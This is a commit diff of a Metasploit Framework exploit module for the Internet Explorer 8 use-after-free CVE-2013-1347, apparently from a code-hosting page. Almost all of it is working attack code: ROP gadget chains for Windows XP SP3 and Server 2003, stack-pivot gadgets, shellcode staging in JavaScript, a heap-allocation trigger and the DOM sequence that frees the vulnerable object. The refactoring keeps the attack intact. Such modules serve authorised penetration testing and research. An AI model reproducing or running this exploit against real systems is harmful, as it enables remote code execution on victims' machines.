1
1
##
2
- #
3
2
# This file is part of the Metasploit Framework and may be subject to
4
3
# redistribution and commercial restrictions. Please see the Metasploit
5
4
# Framework web site for more information on licensing and terms of use.
@@ -48,6 +47,7 @@ def initialize(info={})
48
47
[
49
48
[ 'CVE' , '2013-1347' ] ,
50
49
[ 'OSVDB' , '92993' ] ,
50
+ [ 'US-CERT-VU' , '237655' ] ,
51
51
[ 'URL' , 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx' ] ,
52
52
[ 'URL' , 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
53
53
] ,
@@ -82,7 +82,6 @@ def initialize(info={})
82
82
end
83
83
84
84
def get_target ( agent )
85
- #If the user is already specified by the user, we'll just use that
86
85
return target if target . name != 'Automatic'
87
86
88
87
nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
@@ -114,80 +113,16 @@ def get_target(agent)
114
113
return nil
115
114
end
116
115
117
- def ie8_smil ( my_target , p )
118
-
119
- case my_target [ 'Rop' ]
120
- when :msvcrt
121
- case my_target . name
122
- when 'IE 8 on Windows XP SP3'
123
- align_esp = Rex ::Text . to_unescape ( [ 0x77c4d801 ] . pack ( "V*" ) ) # ADD ESP, 2C; RET
124
- xchg_esp = Rex ::Text . to_unescape ( [ 0x77c15ed5 ] . pack ( "V*" ) ) # XCHG EAX, ESP, RET
125
- when 'IE 8 on Windows Server 2003'
126
- align_esp = Rex ::Text . to_unescape ( [ 0x77bde7f6 ] . pack ( "V*" ) )
127
- xchg_esp = Rex ::Text . to_unescape ( [ 0x77bcba5e ] . pack ( "V*" ) )
128
- end
129
- else
130
- align_esp = Rex ::Text . to_unescape ( [ 0x7C3445F8 ] . pack ( "V*" ) )
131
- xchg_esp = Rex ::Text . to_unescape ( [ 0x7C348B05 ] . pack ( "V*" ) )
132
- end
133
-
134
- padding = Rex ::Text . to_unescape ( Rex ::Text . rand_text_alpha ( 4 ) )
135
- js_payload = Rex ::Text . to_unescape ( p )
136
-
137
- js = %Q|
138
- unicorn = unescape("ABCD");
139
- unicorn2 = unescape("EEEE");
140
- for (i=0; i < 2; i++) {
141
- unicorn += unescape("ABCD");
142
- }unicorn += unescape("AB");
143
-
144
- unicorn += unescape("#{ js_payload } ");
145
-
146
- animvalues = unescape("#{ align_esp } ");
147
-
148
- for (i=0; i < 0x70/4; i++) {
149
- if (i == 0x70/4-1) {
150
- animvalues += unescape("#{ xchg_esp } ");
151
- }
152
- else {
153
- animvalues += unescape("#{ align_esp } ");
154
- }
155
- }
156
-
157
- animvalues += unicorn;
158
-
159
- for(i = 0; i < 13; i++) {
160
- animvalues += ";red";
161
- }
162
- |
163
-
164
- if datastore [ 'OBFUSCATE' ]
165
- js = ::Rex ::Exploitation ::JSObfu . new ( js )
166
- js . obfuscate
167
- end
168
-
169
- return js
170
- end
171
-
172
- def junk ( n = 4 )
173
- return rand_text_alpha ( n ) . unpack ( "V" ) [ 0 ] . to_i
174
- end
175
-
176
- def nop
177
- return make_nops ( 4 ) . unpack ( "V" ) [ 0 ] . to_i
178
- end
179
-
180
116
def get_payload ( t , cli )
181
- code = payload . encoded
182
-
183
- # No rop. Just return the payload.
184
- return code if t [ 'Rop' ] . nil?
117
+ rop_payload = ''
185
118
186
119
case t [ 'Rop' ]
187
120
when :msvcrt
188
- case t . name
189
- when 'IE 8 on Windows XP SP3'
190
- rop_gadgets =
121
+ algin = "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
122
+ chain = ''
123
+
124
+ if t . name == 'IE 8 on Windows XP SP3'
125
+ chain =
191
126
[
192
127
0x77c1e844 , # POP EBP # RETN [msvcrt.dll]
193
128
0x77c1e844 , # skip 4 bytes [msvcrt.dll]
@@ -212,8 +147,12 @@ def get_payload(t, cli)
212
147
0x77c12df9 , # PUSHAD # RETN [msvcrt.dll]
213
148
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
214
149
] . pack ( "V*" )
215
- when 'IE 8 on Windows Server 2003'
216
- rop_gadgets =
150
+
151
+ elsif t . name == 'IE 8 on Windows Server 2003'
152
+ junk = rand_text_alpha ( 4 ) . unpack ( "V" ) [ 0 ] . to_i
153
+ nop = make_nops ( 4 ) . unpack ( "V" ) [ 0 ] . to_i
154
+
155
+ chain =
217
156
[
218
157
0x77bb2563 , # POP EAX # RETN
219
158
0x77ba1114 , # <- *&VirtualProtect()
@@ -241,48 +180,39 @@ def get_payload(t, cli)
241
180
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
242
181
] . pack ( "V*" )
243
182
end
244
- else
245
- rop_gadgets =
246
- [
247
- 0x7c37653d , # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
248
- 0xfffffdff , # Value to negate, will become 0x00000201 (dwSize)
249
- 0x7c347f98 , # RETN (ROP NOP) [msvcr71.dll]
250
- 0x7c3415a2 , # JMP [EAX] [msvcr71.dll]
251
- 0xffffffff ,
252
- 0x7c376402 , # skip 4 bytes [msvcr71.dll]
253
- 0x7c351e05 , # NEG EAX # RETN [msvcr71.dll]
254
- 0x7c345255 , # INC EBX # FPATAN # RETN [msvcr71.dll]
255
- 0x7c352174 , # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
256
- 0x7c344f87 , # POP EDX # RETN [msvcr71.dll]
257
- 0xffffffc0 , # Value to negate, will become 0x00000040
258
- 0x7c351eb1 , # NEG EDX # RETN [msvcr71.dll]
259
- 0x7c34d201 , # POP ECX # RETN [msvcr71.dll]
260
- 0x7c38b001 , # &Writable location [msvcr71.dll]
261
- 0x7c347f97 , # POP EAX # RETN [msvcr71.dll]
262
- 0x7c37a151 , # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
263
- 0x7c378c81 , # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
264
- 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
265
- # rop chain generated with mona.py
266
- ] . pack ( "V*" )
267
- end
268
183
269
- rop_payload = rop_gadgets
270
- case t [ 'Rop' ]
271
- when :msvcrt
272
- rop_payload << "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
184
+ rop_payload = chain + algin + payload . encoded
185
+
273
186
else
274
- rop_payload << "\x81 \xEC \xF0 \xD8 \xFF \xFF " # sub esp, -10000
187
+ code = "\x81 \xEC \xF0 \xD8 \xFF \xFF " # sub esp, -10000
188
+ code << payload . encoded
189
+ code << rand_text_alpha ( 12000 )
190
+
191
+ rop_payload = generate_rop_payload ( 'java' , code )
275
192
end
276
- rop_payload << code
277
- rop_payload << rand_text_alpha ( 12000 ) unless t [ 'Rop' ] == :msvcrt
278
193
279
194
return rop_payload
280
195
end
281
196
282
197
def load_exploit_html ( my_target , cli )
198
+ case my_target [ 'Rop' ]
199
+ when :msvcrt
200
+ case my_target . name
201
+ when 'IE 8 on Windows XP SP3'
202
+ align_esp = Rex ::Text . to_unescape ( [ 0x77c4d801 ] . pack ( "V*" ) ) # ADD ESP, 2C; RET
203
+ xchg_esp = Rex ::Text . to_unescape ( [ 0x77c15ed5 ] . pack ( "V*" ) ) # XCHG EAX, ESP, RET
204
+ when 'IE 8 on Windows Server 2003'
205
+ align_esp = Rex ::Text . to_unescape ( [ 0x77bde7f6 ] . pack ( "V*" ) )
206
+ xchg_esp = Rex ::Text . to_unescape ( [ 0x77bcba5e ] . pack ( "V*" ) )
207
+ end
208
+ else
209
+ align_esp = Rex ::Text . to_unescape ( [ 0x7C3445F8 ] . pack ( "V*" ) )
210
+ xchg_esp = Rex ::Text . to_unescape ( [ 0x7C348B05 ] . pack ( "V*" ) )
211
+ end
212
+
213
+ padding = Rex ::Text . to_unescape ( Rex ::Text . rand_text_alpha ( 4 ) )
214
+ js_payload = Rex ::Text . to_unescape ( get_payload ( my_target , cli ) )
283
215
284
- p = get_payload ( my_target , cli )
285
- js = ie8_smil ( my_target , p )
286
216
287
217
html = %Q|
288
218
<!doctype html>
@@ -293,9 +223,10 @@ def load_exploit_html(my_target, cli)
293
223
</meta>
294
224
295
225
<script>
226
+ #{ js_mstime_malloc }
227
+
296
228
function helloWorld()
297
229
{
298
- #{ js }
299
230
f0 = document.createElement('span');
300
231
document.body.appendChild(f0);
301
232
f1 = document.createElement('span');
@@ -306,21 +237,32 @@ def load_exploit_html(my_target, cli)
306
237
f2.appendChild(document.createElement('datalist'));
307
238
f1.appendChild(document.createElement('span'));
308
239
f1.appendChild(document.createElement('table'));
309
- try{
310
- f0.offsetParent=null;
311
- }catch(e) {
312
240
313
- }f2.innerHTML="";
241
+ try { f0.offsetParent=null;}
242
+ catch(e) { }
243
+
244
+ f2.innerHTML = "";
314
245
f0.appendChild(document.createElement('hr'));
315
- f1.innerHTML= "";
246
+ f1.innerHTML = "";
316
247
317
248
CollectGarbage();
318
249
319
- try {
320
- a = document.getElementById('myanim');
321
- a.values = animvalues ;
250
+ sparkle = unescape("ABCD");
251
+ for (i=0; i < 2; i++) {
252
+ sparkle += unescape("ABCD") ;
322
253
}
323
- catch(e) {}
254
+ sparkle += unescape("AB");
255
+ sparkle += unescape("#{ js_payload } ");
256
+
257
+ magenta = unescape("#{ align_esp } ");
258
+
259
+ for (i=0; i < 0x70/4; i++) {
260
+ if (i == 0x70/4-1) { magenta += unescape("#{ xchg_esp } "); }
261
+ else { magenta += unescape("#{ align_esp } "); }
262
+ }
263
+
264
+ magenta += sparkle;
265
+ mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
324
266
}
325
267
326
268
</script>
@@ -341,7 +283,6 @@ def on_request_uri(cli, request)
341
283
print_status ( "Requesting: #{ uri } " )
342
284
343
285
my_target = get_target ( agent )
344
- # Avoid the attack if no suitable target found
345
286
if my_target . nil?
346
287
print_error ( "Browser not supported, sending 404: #{ agent } " )
347
288
send_not_found ( cli )
@@ -355,4 +296,3 @@ def on_request_uri(cli, request)
355
296
end
356
297
357
298
end
358
-
0 commit comments